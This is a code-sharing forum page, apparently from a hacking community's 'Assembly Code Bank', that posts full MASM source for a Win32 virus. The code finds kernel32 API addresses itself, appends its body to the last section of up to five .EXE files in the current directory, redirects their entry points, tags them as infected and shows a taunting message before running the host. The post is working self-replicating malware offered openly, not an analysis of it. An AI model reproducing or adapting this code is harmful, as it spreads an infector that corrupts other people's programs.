Welcome to HBH! If you have tried to register and didn't get a verification email, please using the following link to resend the verification email.
Win32 Virus - Assembly Code Bank
Win32 Virus
My little win32 virus, that infects .exe files in directory
Compiler--MASM
.386
.model flat,stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\kernel32.inc
includelib \masm32\lib\kernel32.lib
include \masm32\include\user32.inc
includelib \masm32\lib\user32.lib
VirusSize equ (offset VirusEnd - offset VirusStart)
.data
OurTitle db "Message",0
OurMessage db "This Is [Win32] Virus",10
db " by EdoVt",0
.code
VirusStart label byte
start:
nop
nop
pushad
pushfd
call delta
delta:
pop ebp
sub ebp,offset delta;; ebp=delta offset
mov eax,[esp+24h];;eax==somewhere in Kernel32( CreateProcess)
call FuckTheK32
call GetAPIz
call Infect
or ebp,ebp
jz @1stGen;;;;;;First Generetion
;;WE Can Fuck This File
;;;Call Of LoadLibrary API
lea eax,[USER32DLL+ebp]
push eax
call [ebp+_LoadLibraryA]
;;;End Call eax==user32.dll handle
;;;Call of GetProcAddress
lea ecx,[MESSAGEBOX+ebp]
push ecx
push eax
call [ebp+_GetProcAddress]
;;;;End Call Eax==MessageBoxA Address
;;;MessageBoxA Call
xor ebx,ebx
push ebx
lea ecx,[MesTitle+ebp]
push ecx
lea ecx,[Mess+ebp]
push ecx
push ebx
call eax
popfd
popad
mov eax,12345678h
org $-4
ImageBase dd 400000h
add eax,12345678h
org $-4
EntryPoint dd 1000h
jmp eax
;;return to the host
push 0
call ExitProcess
Infect:
and [ebp+Infections],00000000h
lea eax,[@WinFindData+ebp]
push eax
lea eax,[SearchMask+ebp]
push eax
call [ebp+_FindFirstFileA]
inc eax
or eax,eax
jz FailInfect
dec eax
mov [ebp+SearchHandle],eax
InfectIt:
push [ebp+EntryPoint]
push [ebp+ImageBase]
call Infection
pop [ebp+ImageBase]
pop [ebp+EntryPoint]
inc [ebp+Infections]
cmp [ebp+Infections],5
jz CloseSearchHandle
;;;;;;;;Its All Right
nop
lea edi,[@WinFindData.cFileName+ebp]
mov ecx,MAX_PATH
xor al,al
rep stosb
lea eax,[ebp+@WinFindData]
push eax
push dword ptr [ebp+SearchHandle]
call [ebp+_FindNextFileA]
or eax,eax
jnz InfectIt
CloseSearchHandle:
push [ebp+SearchHandle]
call [ebp+_FindClose]
FailInfect:
ret
Infection:
lea esi,dword ptr[ebp+@WinFindData.cFileName]
push 80h
push esi
call [ebp+_SetFileAttributesA]
call @OpenFile
inc eax
or eax,eax
jz CantOpen
dec eax;;eax==Current File handle
mov [ebp+FileHandle],eax
xor ecx,ecx
call CreateMap
or eax,eax
jz CloseFile
mov [ebp+MapHandle],eax
mov ecx,[ebp+@WinFindData.nFileSizeLow]
call MapFile
or eax,eax
jz CloseMap
mov [ebp+MapAddress],eax
mov esi,[eax+3ch]
add esi,eax;;;;;PE header in esi
mov eax,esi
cmp word ptr[eax],'EP'
jnz NoInfect
;;;Yeah its PE file
cmp dword ptr [eax-04h],'nooM';;;Is File Infected
jz NoInfect
push dword ptr [eax+3ch]
push dword ptr [ebp+MapAddress]
call [ebp+_UnmapViewOfFile]
push dword ptr [ebp+MapHandle]
call [ebp+_CloseHandle]
pop ecx;;;File ALign
mov eax,[ebp+@WinFindData.nFileSizeLow]
add eax,VirusSize
call @@Align
mov [ebp+NewSize],eax
xchg ecx,eax
call CreateMap
or eax,eax
jz CloseFile
mov [ebp+MapHandle],eax
mov ecx,[ebp+NewSize]
call MapFile
or eax,eax
jz CloseMap
mov [ebp+MapAddress],eax
mov esi,[eax+3ch]
add esi,eax;;;;;PE header in esi
mov edi,esi
add esi,78h;;Pointer to Directory table
mov edx,[edi+74h];;Number of directories
shl edx,3
add esi,edx;;Pointer to 1st section
movzx eax,word ptr [edi+06h]
dec eax
imul eax,eax,28h
add esi,eax;;;;esi =====pointer to last the section
mov eax,dword ptr[edi+28h];;;EntryPoint in eax
mov dword ptr[ebp+EntryPoint],eax
mov eax,dword ptr[edi+34h]
mov dword ptr[ebp+ImageBase],eax
mov edx,dword ptr[esi+10h];;Sizeofrawdata
mov ebx,edx
add edx,dword ptr[esi+14h];;edx=edx+Pointer to raw data
push edx
mov eax,dword ptr[esi+0ch];;eax===last section RVA
add eax,ebx;;;;NewEIP
mov dword ptr [ebp+OurEntryPoint],eax;;;New ENtryPoint
mov dword ptr[edi+28h],eax;;Set New EntryPoint
mov eax,dword ptr[esi+10h];;Size of raw data
add eax,VirusSize
push eax
mov ecx,[edi+3ch]
call @@Align
mov dword ptr[esi+10h],eax;;;New Size of raw data
mov ecx,[edi+038h]
pop eax
call @@Align
shl eax,1
mov dword ptr[esi+08h],eax;;New Virtual Size
pop edx;;;;edx=SizeOfRawData+Pointer to raw data
add eax,dword ptr[esi+0Ch];;eax=eax+RVA(Last Section)
mov dword ptr[edi+50h],eax;;;New SizeOfImage
or dword ptr [esi+24h],0A0000020h;;;New attributes for last section
mov dword ptr [edi-04h],"nooM";;Our LOGO
lea esi,[ebp+start]
mov edi,edx
add edi,[ebp+MapAddress];;;edi=Pointer to place where go our virus
mov ecx,VirusSize
rep movsb
push dword ptr [ebp+MapAddress]
call [ebp+_UnmapViewOfFile]
jmp CloseMap
NoInfect:
dec word ptr [ebp+Infections]
CloseMap:
push dword ptr [ebp+MapHandle]
call [ebp+_CloseHandle]
CloseFile:
push dword ptr [ebp+FileHandle]
call [ebp+_CloseHandle]
CantOpen:
push dword ptr [ebp+@WinFindData.dwFileAttributes]
lea eax,[ebp+@WinFindData.cFileName]
push eax
call [ebp+_SetFileAttributesA]
ret
@@Align proc
xor edx,edx
push eax
div ecx
pop eax
or edx,edx
jz Enough
sub ecx,edx
add eax,ecx
Enough: ret
@@Align endp
MapFile proc
xor eax,eax
push ecx
push eax
push eax
push 02h
push [ebp+MapHandle]
call [ebp+_MapViewOfFile]
ret
MapFile endp
CreateMap proc
xor eax,eax
push eax
push ecx
push eax
push 04h
push eax
push [ebp+FileHandle]
call [ebp+_CreateFileMappingA]
ret
CreateMap endp
@OpenFile proc;;esi=pointer to the file name
xor eax,eax
push eax
push eax
push 03h
push eax
push 01h
push 80000000h or 40000000h
push esi
call [ebp+_CreateFileA]
ret
@OpenFile endp
FuckTheK32 proc;;eax==somewhere in Kernel32( CreateProcess)
@loop:
cmp word ptr [eax],"ZM";;Is It MZ header
jz WeGotK32MZ
dec eax;
jmp @loop;;loop
WeGotK32MZ:
mov [Kernel_MZ+ebp],eax
add eax,3ch;;[eax] === PE header offset
mov eax,[eax];;eax===PE header offset
add eax,[ebp+Kernel_MZ];;;Normalize
cmp word ptr [eax],"EP"
jz WeGotK32
;;;Call of ExitProcess
push 0
call ExitProcess
WeGotK32:
cld
mov [Kernel_PE+ebp],eax
mov esi,eax;;esi=Kernel_PE
add esi,78h
lodsd;;;; eax=RVA of Export Table
add eax,[Kernel_MZ+ebp];;;Normalize
mov esi,eax
add esi,1ch
lodsd;;;eax==RVA of Export Address table
add eax,[Kernel_MZ+ebp];;Normalize that
mov [ExpAddrTableVA+ebp],eax;;Keeping
lodsd;;eax==RVA of Export Names pointer table
add eax,[Kernel_MZ+ebp];;Normalizing
mov [ExpNameTableVA+ebp],eax
lodsd
add eax,[Kernel_MZ+ebp]
mov [ExpOrdinalTableVA+ebp],eax
ret
FuckTheK32 endp
;;;;;;;;;;;;;;;;;Function to Get the APIs Addressis
GetAPIz proc
cld
lea ebx,[OurAPIz+ebp]
lea edi,[OurFuncz+ebp]
begin:
push edi
mov [Counter+ebp],0
xor ecx,ecx
mov esi,ebx
@_1: lodsb
inc ecx
or al,al
jnz @_1
mov edx,ecx
mov edi,ebx
mov esi,[ExpNameTableVA+ebp]
push esi
@_2:lodsd
mov esi,eax
add esi,[Kernel_MZ+ebp]
repe cmpsb
jz TheyAreEqual
pop esi
add esi,4
push esi
mov edi,ebx
mov ecx,edx
inc word ptr [Counter+ebp]
jmp @_2
TheyAreEqual:
pop esi
pop edi
xor esi,esi
add ebx,edx
xor eax,eax
mov si,[Counter+ebp]
shl esi,1
add esi,[ExpOrdinalTableVA+ebp]
lodsw
mov esi,eax
shl esi,2
add esi,[ExpAddrTableVA+ebp]
lodsd
add eax,[Kernel_MZ+ebp]
stosd
cmp dword ptr [ebx],"jreV"
jnz begin
ret
GetAPIz endp
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; Functions End
Infections db 0
OurEntryPoint dd 1000h
Counter dw 0
USER32DLL db "user32.dll",0
MESSAGEBOX db "MessageBoxA",0
MesTitle db "Got Ya !!!!!!!!!!!!!",0
Mess db "Everything under the sun is in tune,",10
db "But the sun is eclipsed by the MOON.",10
db " Pink Floyd",10,10
db "This File Is Infected By ",0
SearchMask db '*.EXE',0
OurAPIz label byte
@FindFirstFileA db "FindFirstFileA",0
@FindNextFileA db "FindNextFileA",0
@FindClose db "FindClose",0
@CloseHandle db "CloseHandle",0
@CreateFileA db "CreateFileA",0
@SetFilePointer db "SetFilePointer",0
@SetFileAttributesA db "SetFileAttributesA",0
@CreateFileMappingA db "CreateFileMappingA",0
@MapViewOfFile db "MapViewOfFile",0
@UnmapViewOfFile db "UnmapViewOfFile",0
@SetEndOfFile db "SetEndOfFile",0
@LoadLibraryA db "LoadLibraryA",0
@GetProcAddress db "GetProcAddress",0
db "Verj",0
VirusEnd label byte
OurFuncz label byte
_FindFirstFileA dd 0
_FindNextFileA dd 0
_FindClose dd 0
_CloseHandle dd 0
_CreateFileA dd 0
_SetFilePointer dd 0
_SetFileAttributesA dd 0
_CreateFileMappingA dd 0
_MapViewOfFile dd 0
_UnmapViewOfFile dd 0
_SetEndOfFile dd 0
_LoadLibraryA dd 0
_GetProcAddress dd 0
@WinFindData WIN32_FIND_DATA <>
SearchHandle dd ?
FileHandle dd ?
MapHandle dd ?
MapAddress dd ?
NewSize dd ?
OurDelta dd ?
HostStart dd ?
Kernel_MZ dd ?
Kernel_PE dd ?
ExpAddrTableVA dd ?
ExpNameTableVA dd ?
ExpOrdinalTableVA dd ?
@1stGen:
popfd
popad
xor eax,eax
push eax
push offset OurTitle
push offset OurMessage
push eax
call MessageBoxA
push 0
call ExitProcess
end start
Comments
Sorry but there are no comments to display